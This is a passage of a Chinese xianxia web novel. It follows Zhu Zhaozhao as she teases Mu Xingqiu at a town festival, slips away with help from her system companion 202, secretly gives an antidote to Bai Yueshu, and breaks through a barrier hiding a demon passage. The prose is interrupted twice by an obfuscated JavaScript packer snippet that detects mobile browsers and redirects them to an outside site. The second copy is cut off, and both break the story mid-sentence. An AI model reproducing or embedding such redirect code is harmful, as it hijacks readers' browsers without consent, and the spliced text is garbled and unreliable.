蹲下身,祝昭昭抬头望着小鱼:“所以小鱼,你可以给姐姐看看,只有好孩子才能得到的礼物是什么吗?” “嗯!” 小跑到祝昭昭身旁,小鱼打开瓷罐。 露出里面花色各异的糖块。 “哇!”小鱼叫着,显然已经被罐子里花花绿绿的糖块俘虏,“好漂亮的糖!” 说着率先拿起一块放进嘴里,她把罐子朝祝昭昭靠了靠近:“姐姐你也吃一块吧!” 暗忖着慕行秋竟然知道选多口味的糖,哄小孩确实有一手。祝昭昭扫了眼罐子,从色彩缤纷的糖块里捏了唯一颜色带着浅浅蓝的透明糖块—— 清甜的滋味在嘴里散开时,祝昭昭挑眉。 竟然是薄荷味的。 且不说这薄荷糖在其他一众水果糖里已经特殊得像异类,就光从口味来看…… 慕行秋不是讨厌刺激的口感吗? 怎么选糖的时候还特意带上了? 不由腹诽这反派就是不走寻常路,祝昭昭含着糖,忽然听见小鱼问她。 “姐姐,神是什么样的呀?” 小心翼翼的语气里藏着期待,小鱼看着祝昭昭:“我听他们说,神很温柔,对每个人都特别好。” “所以祂到底是什么样的?” 糖块停留在左颊,脑海里浮起莫沉云凄惨尖叫的模样,祝昭昭很是默了默。 在小鱼灼灼的目光下,她最后迟疑着开口。 “……很爱唱歌?” 86. “他是我爷爷!” 告别了小鱼,祝昭昭走回慕行秋身边。 “回来了。” 望着祝昭昭微鼓的左颊,慕行秋不由好笑:“怎么连孩子的东西都要吃。” 这是什么话! 祝昭昭立刻就不高兴了:“首先,糖是小鱼请我吃的。” “然后,”她没好气地指指自己,“我看起来就那么像大人吗?” 顶着祝昭昭不满的表情看了她半晌,慕行秋选择不接话:“这段时间,你长高了许多。” 潜台词是她高得没小孩样呗?! 她承认她确实长得高,但长得高又怎么了?! 已经完全忘记自己真·不是小孩,祝昭昭点点头上的双平髻:“看看这个。” “看着它还能认错吗?” 慕行秋一脸平静地摇头:“说话的时候,我并未看它。” 祝昭昭:…… 算了,还是毁灭吧。 * 散着步走出凉亭附近时,祝昭昭心情已经平复许多。 也反应过来许多事。 目送一个扛着锄头的老伯从自己面前离开,祝昭昭幽幽开口:“慕师兄你,是故意让我去见小鱼的吧。” 慕行秋本就不觉得自己能瞒祝昭昭多久:“所以小鱼会让你讨厌吗。” “当然不会。” 略带嗔怪地斜了慕行秋一眼,祝昭昭拨开被风吹到脸上的碎发:“小鱼是很乖的孩子,生在对神那么狂热崇拜的地方却从没见过神的模样……” “她很难过得快乐吧。” “对见不到神的人,洛水镇众人的态度的确不算友善。” 慕行秋语气很淡:“但不论如何,洛水镇中的确存在着不受神影响的人。所以不要觉得洛水没有理智,而因此害怕。” “大家会一起解决所有问题。” 微微侧头,慕行秋望着祝昭昭的目光郑重而认真:“然后回剑宗去。” 甚至忘了第一时间接话,祝昭昭瞪大眼睛,一言不发地瞧着身旁人。 慕行秋…… 早就发现她状态不对? 因此才会把她带出祭庙,带来凉亭,让她来见看不到神的小鱼? 他费尽周折,只是想用这种方式安慰她? 祝昭昭很难形容此刻复杂的心情。 但毋庸置疑的是,她必须承认,不论作为领队亦或是剑宗大师兄,慕行秋都足够合格。 回过神,祝昭昭移开视线悄声:“……早这样哪还会有后面那么多事。” 只隐约听见后面几个字,慕行秋问:“什么?” “我是说。” 登时心底一个激灵,祝昭昭轻咳两声:“洛水这群人因为一个贡品都能闹成那样,不知道今夜的神祀之时,会不会出什么更大的乱子。” “出不出乱子,都不妨碍我们继续调查。” 祝昭昭转移话题,慕行秋也就没有再追根究底:“若是情况顺利,今夜能找到‘神’与弟子暴毙,以及洛水其他怪象的关系。” “那么这次洛水之行,很快就会结束。” 很快就会结束…… 吗? 抿了抿唇,祝昭昭沉默。 * 神祀之时的预热,从夜幕降临开始。 随着街上的人渐渐变多,小贩们的吆喝声也从各个摊位此起彼伏地响起。 神祀之时的祭台,就搭建在距离街道不远的榕树下。 “把祭台搭建在这,让镇民们兼顾玩乐和祭祀。” 祝昭昭嘴角扯出个没什么笑意的弧度:“他们还挺会合理搭配的。” 路过一个叫卖得热火朝天的小摊,她感慨:“不过这样做,难道不怕让镇民们在祭祀开始的时候分心吗?” “与其说这么做会让镇民们分心。” 慕行秋语调淡淡:“倒不如说此刻他们玩乐得越尽兴,稍后祭祀开始时,因玩乐而聚集在一起的他们便会越专注。” “毕竟比起形单影只的人,更多人聚集在一起,才更容易被人群影响。” 祝昭昭‘唔’了一声。 比起多数人聚在一起活动,独自一人待着时,确实更能保留思考能力。 思忖着,祝昭昭在卖糖葫芦的小贩面前驻足:“就是不知道像小鱼那样看不见神的人,会不会来参加祭祀。” “应该会。” 轻轻挡住祝昭昭欲伸向糖葫芦的手,慕行秋对热情的小贩摇头:“他们本就已经无法在梦里见到神,若是还被隔绝在祭祀之外,很容易便会对神产生不信任之感。” “而洛水镇,不会允许有人怀疑神。” 不太高兴地收回手,祝昭昭斜了慕行秋一眼。 她只是看看又不吃,这人挡什么挡。 多管闲事。 祝昭昭:指指点点·jpg 显然是注意到了祝昭昭不忿的表情,卖糖葫芦的小贩乐呵呵地笑起来:“这位公子也真是的,妹妹只是想买串糖葫芦吃,您做哥哥的,怎么连这个都不让。” 当即拔下一串糖葫芦递给祝昭昭,他大方道:“今天大喜的日子,这串糖葫芦就算我送给小姑娘的。” 动作温柔态度却坚决,慕行秋依旧拒绝了小贩的糖葫芦:“多谢你的好意,但她从小体弱,大夫叮嘱过不让她随意吃东西。而且我不是她哥哥,我是——” “他是我爷爷!” 此话一出,万籁俱寂。 以卖糖葫芦的小贩为中心,周围至少三个小摊都安静下来。 所有人都保持着原本的动作,然而斜到快飞出眼眶的瞳孔,早已出卖了他们。 人类的本质是爱八卦这件事,再次得到了铁一般的印证。 只当四周的风起云涌不存在,祝昭昭侧弯着身,横/插/进小贩和慕行秋中间,笑得无比灿烂:“我们是无门无派的散修,听闻洛水的盛名来这里游历。” “我爷爷结丹早,”她偏头挑眉,“容貌便一直停留在年轻的时候。” 周围隐隐传来恍然大悟的嘘声。 看看祝昭昭又看看慕行秋,小贩说话都磕巴了:“竟,竟然是这样的吗?” “没错。” 夜色昏暗,祝昭昭憋笑憋到发红的脸被藏得很好:“正因为如此,我和爷爷游历时,常常会被人错认为兄妹。” 铁了心要给慕行秋上点眼药,她做烦恼状:“不过其实你也没说错,因为我爷爷本就生得风流倜傥,是以我与他四处游历的这些年,常常被因青睐他而纠缠他的人,弄得不胜其扰。” “这样的事出现次数多起来后,他便总用我,来当推诿的理由。” 小贩听着听着,自己咂摸出些味道来:“按小姑娘你这意思,你这位……” 祝昭昭强调:“爷爷。” “哦哦,爷爷。”小贩头点得像拨浪鼓,“还没拿你当挡箭牌的时候,他和那些纠缠他的人是怎么……” “您算是问到点上了!” 祝昭昭差点当场破功笑出声。 她摆出一副‘你且听我娓娓道来’的架势:“最厉害的一次,我爷爷被合欢宗的人看上,想捉回去用以修炼。两边你追我赶,硬是跑出了二里地!” 在小贩激动的目光里,她越说越起劲:“千钧一发之际,我爷爷猛一个回——!” 没下文了。 因为慕行秋用禁言术,手动让祝昭昭闭了嘴。 以一种慢到几乎像是故意的速度将祝昭昭拨到边上,慕行秋笑着朝小贩微一颔首:“师妹不懂事胡言乱语,还请您不必当真。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280569|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他语气分明如沐春风,却让人无法轻视。 对上慕行秋的目光又触电般躲开,小贩有些语无伦次:“好、好的。我知道了。” “多谢。” 糖葫芦交还小贩的同时给了他几两碎银,慕行秋静静望着祝昭昭刚才站着的地方。 片刻后眸光微动,他在另一个小摊处停下脚步。 * 早在慕行秋和卖糖葫芦的小贩交谈时,祝昭昭就已经离开。 也因此当眼尾余光瞄见身旁忽然多出道白色身影时,她丝毫不感觉意外。 查看小摊物品的手微不可查地一顿,祝昭昭装作没看到。 慕行秋瞧着她面无表情的模样:“生气了?” 禁言术还在生效,祝昭昭翻了个白眼,没搭理他。 慕行秋啼笑皆非:“明明是你当着我面胡言乱语编排我在先,我还未生气。” “你怎么反倒生起气来。” 他不说还好,一说祝昭昭顿时来了火。 谁让你先多管闲事的?! 你不拦着我拿糖葫芦,谁有空编排你? 居然还上大禁言术! 输不起就别玩好吗?! 越想越气又说不了话,祝昭昭干脆怒瞪慕行秋,以求达到将他盯出两个洞的泄愤效果。 和祝昭昭大眼瞪小眼半天,慕行秋忽然掩着唇移开视线。 敏锐察觉到他唇边弧度的祝昭昭倒吸口凉气。 这家伙竟然还敢笑! 面色大变的祝昭昭放下手里东西就要给慕行秋一点教训。 赶在她捏紧拳头前,慕行秋抬手朝她喉间一点。 顿感一股凉气直冲咽喉,祝昭昭轻咳两声,好歹停住了动作。 她冷哼一声,重新将注意力放在小摊上的小玩意。 等了半天也不见祝昭昭有开口的意思,慕行秋好笑:“不说点什么?” 祝昭昭听得差点翻白眼。 笑话,你让人闭嘴就闭嘴,你让人说话就说话? 美得你。 直接把慕行秋的话当耳旁风,祝昭昭打定主意当他是空气。 但她的主意没有维持太久。 耳旁忽然传来一声叹,下一秒,祝昭昭余光瞥见抹浓重的色彩朝自己靠近。 顺着那抹色彩扭头,她正对上一个面具。 并不精美的面具边缘,是一只骨节分明的手。略微苍白的皮肤与浓墨重彩的面具两两对比,显得分外鲜明。 让人平白生出种割裂感,本能地觉得这只手上,不该出现这样浓重的色彩。 抿紧唇,祝昭昭静静瞧着那面具。 “方才阻拦你拿糖葫芦,的确是我考虑欠妥。” 他一字一句都慢而认真:“你虽总喜欢与我唱反调,但在真正重要的事情上,却从未犯过错。相反,如果不是因为你的提醒,我也许至今难以彻底察觉洛水镇的玄机。” “所以某些无伤大雅的事情,你一定也能处理好。” “是我太过多虑。” 慕行秋垂眸:“抱歉。” 一片嘈杂声里,他并未刻意提高的话音引不起周围人的注意。 却让祝昭昭听得分明。 可她依旧沉默。 因为客套话都被忘在了脑后,她不知道该怎么回答。 她只是一言不发地,从慕行秋手中接过面具。 张张口,祝昭昭本想至少说声谢谢。 可话音将要出口的瞬间,天边却升起一朵巨大的烟火。 一朵接一朵,烟火炸开的声音连作一片,连绵不绝。于是那声谢,也理所当然地被淹没。 取而代之的,是人群里响起的,浪潮般的欢呼声。 是神祀之时,真正的开始。 87. “这可是我这卖得最好的符!” 人潮向着榕树下的祭台涌动而去,如果不是慕行秋第一时间反手握住祝昭昭手腕,两人立刻就会被人流冲散。 “跟紧我。” 慕行秋说完,拉着祝昭昭走进人流。 集市到祭台的这段路本就不宽,加上乍然经过的人太多,让路变得很挤。于是慕行秋很快撑起结界,为两人留出喘/息的空间。 看着周身不断走过的镇民,祝昭昭不由感叹:“人也太多了,是整个洛水的人都在这了吗?” “不说整个洛水。” 指尖状似无意地触上结界将之再次加固,慕行秋不紧不慢地附和:“但多半人应该是有。” 虽然知道他是在回答自己的问题,但实际上祝昭昭并不太懂这个回答的意义在哪:“所有人也好,多半人也罢。” “妨碍我们现在被挤得只能跟着别人走吗?” “不妨碍。” 对祝昭昭的阴阳不为所动,被人流‘带''到一处停下的慕行秋指指眼前免费领香火的小棚:“所以要领几支香么?” 闻言正想拒绝,下一秒,祝昭昭眼睁睁看着慕行秋神色自若地接了几支香,递给他身后挤不进小棚的大娘。 那一刻,她词穷了。 不是,请问你那么有参与感的理由是? 你真是过来庆祝的?? 震惊着,祝昭昭很快听到慕行秋再开口—— “我们来此的目的,本就是观察今夜将会降临的‘神’。” 默默递了几回香后,慕行秋放任自己被挤出小棚范围:“那么静静站着等待,亦或是做些什么来打发时间,又有何差别?” 斜他一眼,祝昭昭无语。 却也承认其实他说得不无道理。 因为今晚另有目的的,确实只有她一个人。 头痛地捏了捏眉心,祝昭昭环顾四周:“所以我们现在在哪?” “离祭台尚有段距离。” 慕行秋朝不远处轻点下巴:“要过去么。” 顺着他指的方向望去,又仅仅在众多后脑勺中隐约瞧见红布搭起的棚子时,祝昭昭直接死鱼眼。 她感觉头更痛了:“算了,人太多。” “那就找个人少的地方。”慕行秋边说边环顾四周。 继而脸上多了点笑:“附近的地上应该不会再有人少的地方。” “树上如何?” 树…… 张开的嘴猛地抿紧,祝昭昭一言难尽地望着慕行秋。 阿祖,收手吧。 没人想听你讲冷笑话的好吗。 懒得和慕行秋插科打诨,祝昭昭选择自己动手丰衣足食。 却就在将将锁定一处人较少的地方,准备走过去时,她脑海里突然响起202的声音。 “不用,主人。这个位置刚刚好。” 闻言神色微动,祝昭昭收回已经转向那处的脚步。 再对着脑海里的202:“回来了?” 202:“嗯嗯。” “所以灵果的解药已经研制成功了。”祝昭昭嗅着满空气的香火味,“什么时候可以用。” “现在就可以, 202说着,忽然捏腔拿调地‘诶呦’一声:“主人你是不知道呀,为了完成你交给我的任务,我又是拿数据去医药部,又是拜托628在我没空的时候帮我催医药部的赶进度。医药部那边一出结果,我验收完又马上赶回来。” 整颗球在说话的时候就离祝昭昭越来越近,直到最后完全贴在了祝昭昭脸旁,它挤眉弄眼:“主人,你看我是不是很辛苦呀。” 祝昭昭一脸‘让我看看你想整出什么幺蛾子’的表情:“辛苦。” 202声音捏得更细:“那主人,我这两天盯医药部的时候,顺便看到了特别棒的新插件……” “如果我是你。” 眼皮都不抬,祝昭昭直接把202拍到一边:“在事情没彻底解决前,就不会随便诉苦。而是老老实实配合搭档直到任务圆满结束,之后再用充足的底气,大邀特邀奖励。” “你觉得呢?” 和祝昭昭搭档多年的202几乎是立刻就听出来她语气里的警告。 它当场头都点出残影:“哎呀,还是主人说得对。” “那就少说废话。”祝昭昭开始观察四周,“还有你确定这里是最好的脱离位置?” “之前探路的时候,这里离被藏起来的区域好像有相当一段距离。” 嘀咕着调出地图,202盯着投影:“嗯……虽然主人你的判断是对的,但比起之前,今天的幻境掩盖范围明显缩小了很多。” “缩小了很多?”祝昭昭皱眉。 202‘嗯’了一声:“今天的幻境掩盖范围比起往常,小了至少一倍。” 它说着,也有些疑惑:“怎么会这样呢?” 一倍…… 盯着面前来去的人群,祝昭昭略微思忖,很快想明白缘由:“应该是神祀之时将原本散布在各处的镇民聚集起来的原因。” “幻境本就由镇民记忆构成,大量人被聚集在一处,幻境覆盖范围自然就会缩小。” 恍然大悟的202:“原来如此!” 见它那副发现新大陆的模样,祝昭昭脑瓜子嗡嗡的:“我真不明白你怎么好意思说这话的,” “赶紧告诉我,你到底确不确定这就是最合适的脱离位置。” “嗯……如果按照主人你的说法的话,”202再次把注意力放在面前投影,“那可能就需要再往北七百米了。” 向北七百米? 祝昭昭顺着202提示的方向扫了一眼。 倒也算可以接受的距离。 但在那之前…… 余光里,慕行秋一袭白衣的身影始终在旁。指尖轻点他布下的结界,祝昭昭很快有了主意。 抓住又一波人流拥挤起来的时候,祝昭昭摸向腰间香囊。 凝结在指尖的灵力朝香囊打结处虚虚划过,她收起手,装作不经意间注意到一个小摊:“那个摊子在卖的好像是灵符?” 目光跟着祝昭昭话音落在那处,慕行秋颔首:“嗯。” 得到慕行秋回答,祝昭昭脚步一转就往摊子方向走:“虽说修行界符修不少,但仔细想想,我好像真的一直没有见或用过灵符。” “刚好今天长长见识。” 原本安静走在祝昭昭身旁的慕行秋闻言,忽然慢悠悠开口:“师妹你若是想看灵符,我这倒是还略有些收藏。” “你收藏的灵符什么时候都可以看,”祝昭昭摆摆手,“但这里卖的灵符,离开后肯定就见不到了。” “那我当然要趁这次机会,看看这里的灵符才是。” 话落已经停在小摊面前,祝昭昭看着摆得整齐的一排排符纸。 实际上,小摊上也不全是灵符。又或者说,在不能修炼的百姓居多的凡间小镇里,灵符的存在其实只是少数。 小摊上更多的,是折得模样精美的普通纸符。 然而查看灵符是本就是假,甩掉慕行秋才是真。是以祝昭昭表面佯作仔细地以指腹轻扫过小摊上各式各样的符纸,实际上满脑子都是怎么实施自己的跑路计划。 “姑娘,喜欢这个符啊?” 突然响起的话音打断祝昭昭思绪,她回过神来。 对面的小贩还在笑呵呵地:“姑娘真是好眼光,这可是我这卖得最好的符!” 最好的符? 听完视线下移,祝昭昭盯着停留许久的指尖下的红色符纸。 那是一张折得整齐的平安符。 平安符? 祝昭昭微怔,继而很快心生一计。 有了。 捻起那张薄薄的符纸,祝昭昭问小贩:“这个平安符怎么卖?” “便宜的。”脸都快笑开了花,小贩直搓手,“一两银子。” 祝昭昭差点听笑了。 一张纯安慰效应的纸卖一两银子,还好意思说便宜? 怎么说得出口的? 不过也罢,任务要紧。 暗忖出的钱就当任务经费,祝昭昭笑笑,从储物袋里摸出一两银子递给了小贩。 接过钱的小贩顿时笑得合不拢嘴:“姑娘大方,谢谢姑娘。” 没理会小贩的阿谀奉承,祝昭昭转手将平安符递给慕行秋:“喏,给你。” 盯着那枚平安符,慕行秋没动:“为什么。” “哪有那么多为什么。” 祝昭昭理直气壮:“就当是对你这段日子照顾大家的谢礼。” “毕竟哪怕大家整天看不见你人在哪,但我知道,你一直都清楚大家的情况。“ 想起之前偷溜被逮,她心情略微复杂:“而且如果我没猜错的话,你之所以总是独自行动,也是因为去的地方都非常危险吧。” 夜晚景色不甚清晰,祝昭昭因此没有注意到,她话音落下的瞬间,慕行秋肩膀极细微地一顿。 而她说着,话里也不自觉多了些真意:“虽然带我去见小鱼时,你把遇到的事说得轻描淡写。但能把你都困住的地方,要人帮忙才能脱身的地方,又能是什么来去自由之地?” “所以你就当是这个平安符是大家为了保佑你今后的出行都平平安安,收下它就好。” 闻言不置可否,慕行秋依旧没什么反应。 气得祝昭昭脸上表情差点裂开。 警惕性那么强干什么! 时间紧迫,祝昭昭干脆直接抓过慕行秋的手,把符拍在他掌心:“如果慕师兄你是担心符有问题,那尽管放心。拿到的时候我看过了——” “这就是普普通通的纸。” 垂眸注视着躺在掌心的平安符,慕行秋唇边忽地多出了一丝弧度:“我以为比起我,你会更想把这枚平安符送给月书。” “毕竟她送过你很多东西。” 慕行秋指指祝昭昭腰间:“比如你这次带着的那个香囊。” 来得正好。 祝昭昭精神猛地一振,在脑海中询问202:“接下来人群大概会在什么时候再次拥挤?” 202大概估算了一下:“三分钟后。” 得到答案,祝昭昭再次将注意力放在慕行秋身上:“月书师姐是月书师姐,你是你。” 边说摸向腰间,她‘突然’面色微变:“等等,我香囊呢?” 像是早就料到祝昭昭此刻反应般,慕行秋指指身后:“兴许是在那处罢。” 祝昭昭立刻:“我去找!” 话落不等慕行秋反应,她一口气跑出结界,跑到糖葫芦摊子处。 很快在地上瞄见被自己刻意留下的香囊,祝昭昭作势蹲下身的同时叮嘱202:“注意慕行秋的反应,并隐匿我的踪迹。” 202快乐地应和:“得嘞!” 也就在她拾起香囊的瞬间,三分钟计时结束,新一波前往祭台的人群将她的身影覆盖。 祝昭昭亦站起,闪身消失在人群中。 * 北方七百米处——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280570|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 将手里香囊收回储物袋,祝昭昭指尖点点小摊车子上挂着的香囊:“怎么样,慕行秋追过来没有。” “没有。”202飘在她身旁,“但差不多是你消失的同时,他就出现在了你站着的地方。” 它心有余悸:“速度太快了,差点把我吓死。” 祝昭昭闻言,没什么情绪地笑了两声。 “但还是没主人你快就是了。”自言自语完,202看着眼前明显变得更多的人,“主人啊,这里的人越来越多了。” 祝昭昭:“嗯。” “而且他们是不是有点不对劲啊?”202说着,语气突然变了,“那个人……是在干什么?” 听出它状态异常,祝昭昭抬眼—— 不止一个人,202口中的‘那个人’实际上只是一群人里的其中之一。 而那群人此刻正一边疯了似地边大口大口往嘴里塞灵果,边疯狂地吸纳空气中的灵力,即使过量的灵力令他们憋/得满脸通红,双目充血,也丝毫没有停下的意思。 且这疯狂的景象没有维持太久。 下一秒,有人口鼻喷出大量鲜血,他身旁的人瞬间被猩红撒了满身。 然而没有尖叫,没有哭喊。所有人都对这几乎称得上骇人的景象视而不见。每个人都继续做着自己的事,只是在喷血的人倒地后,将他们拖到一边。 其间甚至还在谈笑。 有祭庙血祭的事情在前,这次,祝昭昭只是面无表情地移开了视线。 却没有立刻离开。 沉默片刻,她忽然问202:“你有没有办法确定白月书她们的位置。” 被恶心得够呛的202如梦初醒地‘啊’了声:“可以的主人。” “定位发我。”祝昭昭眸光沉沉,“我有预感,我们有必要去看看。” 脑海很快浮现出202给的定位,做好隐匿准备后,祝昭昭消失在原地。 * 刻意没有按照定位原点出现,祝昭昭在离白月书等人不远的地方现身。 此刻的三人正和一群镇民在一起—— 钟安林拉着生无可恋的秦之衡和一位大娘相谈甚欢,白月书则在两人稍远的距离,看起来像是想带两人走却没始终找不到合适的机会。 目光从钟安林明显已经开始散乱的状态收回,祝昭昭视线在满脸局促无奈却不见反感之意的秦之衡,以及始终保持警惕的白月书间梭巡。 片刻后,她道:“202,你现在能拿出多少解药。” “一人份。”202开始翻物品栏,“剩下的解药还在加紧制作。” “给我。”祝昭昭不假思索,“他们三个人里现在只剩白月书还能和洛水镇的影响对抗了。” “现在必须保住她,之后她才能找机会把秦之衡和钟安林带走。” 202大惊失色:“啊?” 哪还敢在拖拉,它立刻把解药给祝昭昭:“那主人你动作快点吧。” 掌心蓦地感觉多出了什么,祝昭昭很快抬手。 盯着那枚小小的红色药丸半晌,她突然以灵力将之包裹住。 下一秒,药丸化作药粉。 202急得声音都变了调:“诶,主人你干嘛啊?!” 没有理会202的质问,祝昭昭从储物袋翻出隐身法器催动后,瞬移到白月书不远处。 隐身法器强力,加上人群嘈杂,白月书又专注于抵抗洛水镇带来的影响,是以她几乎没费什么功夫,就来到了离白月书更近的距离。 抓住镇民朝白月书围上去的瞬间,祝昭昭轻轻将药粉吹进她口鼻。 乍然吸进药粉,白月书当即呛咳了几声,最后却因急于招架镇民,所以根本无暇深究那一刹的异样究竟从何而来。 祝昭昭就这么让白月书把药‘吃’了下去。 边上围观全程的202早已目瞪口呆。 亏刚才它看见祝昭昭把药磨成粉的时候,还以为她想不开毁药。 事实证明它才是那个想不开的。 不过为了达到目的竟然可以做到这个程度,是不是有点太夸张了? 202:怎么什么招都有啊? 祝昭昭才没空管202什么反应。 喂完药,她重新回到刚才站着的地方。 深呼吸,祝昭昭闭上眼再睁开,洛水镇的真实模样再度出现在眼前。 她在脑中调出202独自离开那晚绘制的,真正的洛水镇地图。 202提醒她:“直走看见路口再左拐,两百米就到了。” “嗯。”答应完,祝昭昭身形微动,出现在目的地。 几颗高大树木后,是一望无际的空旷之地。祝昭昭目光落在远处,再次确认隐身法器的存在后抬脚。 却就在这时,她耳旁传来202惊呼:“哇,好大的月亮!” 顺着它的话音扭头,祝昭昭抬眼,目光正对天边那轮圆月。 片刻后眨眨眼,她唇边忽然多出一丝笑。 原来这就是所谓的‘月亮’。 她转回身。 “主人,你干嘛还带着那个面具啊?” 祝昭昭闻言一怔,拿起刚才顺手被她挂在腰间的,慕行秋送的那张面具。 202还在唠叨:“主人你赶紧把它扔掉啦,带着这东西多耽误事啊。那地方根本没人去,要是掉在那,不是等于昭告主人你的身份和位置了吗?” 202说得是对的。 沉吟着,祝昭昭目光落在身旁树下。 88. 你那是什么情况? 掌筠给的那张地图早已熟烂于心,将之与202提供的另一张地图互相对照,祝昭昭几乎没费什么功夫就摸到了魔族通道所在范围。 入目便是一片密林,遮天蔽日的树冠甚至让今晚大盛的月光都无法落在地面;且由于莫沉云用幻境将此地覆盖隐藏的原因,无光又许久不见人烟的密林,发散着阵阵隐约的阴寒。 “这地方够荒凉的。” 鼻间传来潮湿的草木气息,祝昭昭下意识打了个寒战:“该说不说,一下从镇中心跑到这没人来的地方,还真是有点不适应。” “明明是同一个镇子。” “证明那家伙把这地方藏得很好呗。”202在边上插嘴,“就看上周目洛水镇这件事发展全程,如果不是最后主人你在剑宗的那个师父出手,来出任务这帮人没一个发现这地方藏着魔族通道。” “所以其实那家伙还是有两把刷子的。” 对202这种长他人志气灭自己威风的发言表示敬谢不敏,祝昭昭当即赏了它一个白眼:“我拜托你,当初一开始,白月书他们的任务就只有调查弟子暴毙原因。” “况且洛水镇情况本来就复杂,他们修为又尚浅;加上因为剑宗内部也有问题,根本就没让他们得到关于洛水镇的全部情报——” 祝昭昭伸出食指猛戳202:“你与其说他们是因为探查不到位才找不到魔族通道,倒不如说是有人故意让他们察觉不到魔族通道存在好吗?” 被戳得晃来晃去的202表示很不服:“那主人你的意思是剑宗里有人想害他们呗?” 它边躲边嚷嚷:“剑宗里有人脑袋进水了,把宗门里年青一代的顶级战力拉出去送死,好让剑宗早早人才凋零。” “主人你是这意思呗?” “是这意思又怎样?”被202吵得耳朵嗡嗡响,祝昭昭作势要打它,“而且这话是你说的,可不是我说的,你少把帽子扣我头上。” 顿时吓得绕着祝昭昭到处乱飞,202继续嘴硬:“反正目前为止只有主人你知道还找到了魔族通道是事实,大反派都靠你才发现洛水镇真面目的不是嘛!” 对202这种表面犟嘴,实则拐着弯拍自己马屁的新型求饶方式逗得差点笑出声,扬起的手停在半空,拼命抿起嘴角的祝昭昭最后只能用故作严厉的眼神瞪它。 202于是笑嘻嘻凑到她跟前。 敲敲它头顶让它见好就收,祝昭昭沉吟。 事实上,202的这番嚷嚷提醒了她。 因为按上周目最后的结果来看,白月书和秦之衡活下来了。 并且细究之下就会发现,按照剧情后话描述,他两人并未受到太大的伤害,甚至还托这次任务的福得到了奇遇,让修为更进一步。 所以真论起来,洛水镇的一系列事件虽然表面看上去无比凶险,然而最终导致的结果,对组队的一行人来说,是有‘余地’的。 没‘余地’的是谁? 下意识地,脑海中浮现出一张总是温和笑着的面孔,祝昭昭若有所思。 甩甩头,把纷乱的思绪全都抛在脑后,她深吸一口气,以灵力点上双眸:“不管怎么样,还是先把眼下最重要的事做了再说。” 被突然摇头的祝昭昭吓一跳的202:“……好的?” 不再犹豫,祝昭昭踏进漆黑的林间入口。 * 尽管站在入口时,祝昭昭就已经对树林的面积广阔度,有了一定的心理预估。 然而当她真正踏进树林里的那刻,这层心理预估还是被进一步地刷新。 再次停在一个随机路口,祝昭昭脸色有些不好看。 “诶呦,怎么回事啊?!”202也直报怨,“我们都已经绕这个树林子好几圈了吧,怎么还是没找到那个什么魔族通道啊?” 它绕得不耐烦,语气也急躁起来:“这什劳子通道真的存在嘛?!” “首先,通道的存在毋庸置疑。”祝昭昭一言难尽地斜睨202,“你清醒点。” 202重重‘哼’了一声,没搭理她。 “其次。” 对它时不时无能狂怒乱发疯的状态早已习以为常,祝昭昭收回目光。 抬手轻抚身旁树干上,被自己用特殊颜料画上的,只有自己能看到的记号,她语气淡淡:“从进来到现在,我们一直在绕着树林打转。” “什么?!” 一听这话再也绷不住了,202大惊着投影打开地图确认:“不该啊,我们明明……” 它忽然沉默下去。 祝昭昭打趣它:“怎么了,怎么哑巴了?为什么不继续说?” “我们明明怎么了?” 忍了又忍,实在忍不住的202最后干脆破罐破摔:“哎呀,那到底为什么嘛!” 它甚至气得伸出了嫌丑的细长机械手,猛拍投影上显示的,绕了一圈又一圈的地图路线:“我们明明有地图对照,为什么还在原地绕圈嘛?!” “因为附近有结界。” 祝昭昭啼笑皆非地给它顺毛:“这片树林被莫沉云设下了相当强力的结界,为的就是防止人误闯进来。” “毕竟一个藏着魔族通道的重要地方,如果没猜错,洛水镇的种种异象也都是为了它——” 脚步走动起来,祝昭昭指尖轻点在空气中,像是已经触摸到那层结界:“如此重要的地方,莫沉云怎么会随意对待?” “但凡今天换个人来,想要找到结界,都要费上一番大工夫。不过只可惜,现在站在这的……” 眼中极速掠过一抹流光,祝昭昭闲散的步伐,在不知不觉间悄然停下。 微风吹动林间叶片,她话音里多了些笑意。 “是我。” 下一秒,祝昭昭抬手。 缠绕着灵力的指尖触上空气,顷刻间,四周空间忽然如同被燃烧般扭曲。 紧接着,仿佛空间被撕开,区别于树林中潮湿草木气息的干燥之意朝她扑面而来。 “搞定。” 祝昭昭拍拍手,拇指指向与树林完全不同的另一面。 “我们现在就进去看看。” * 站在祝昭昭停留过的地方,慕行秋难得有些茫然。 她竟然就那么消失了。 没有半点声响,没有一丝灵力波动,哪怕在她消失的瞬间就发现不对赶了过来,依旧于事无补。 他甚至找不到她残留的灵力来追踪她。 她究竟做了什么? 祝昭昭。 出神的目光就那么长久地落在地面,静静站着的慕行秋在人来人往中显眼异常。 也理所当然地,引起了其他人的注意。 “诶呦,公子您这是怎么了?” 是卖糖葫芦的小贩。 做生意的人向来头脑灵活,见慕行秋独自一人站着,又刚刚才目睹祝昭昭离开,小贩很快就反应过来发生了什么。 他乐呵呵地:“公子您是被师妹落下了吧?” 左右一时找不到人,慕行秋回过神,脸上惯常地带了笑:“您方才见到她往哪个方向去了么。” “诶,那我哪能知道。“小贩摆摆手,“你们仙人都是一下就消失不见的,我就是眼神再好也看不到啊。” 并不意外这回答,慕行秋闻言朝小贩微一颔首,便准备离开。 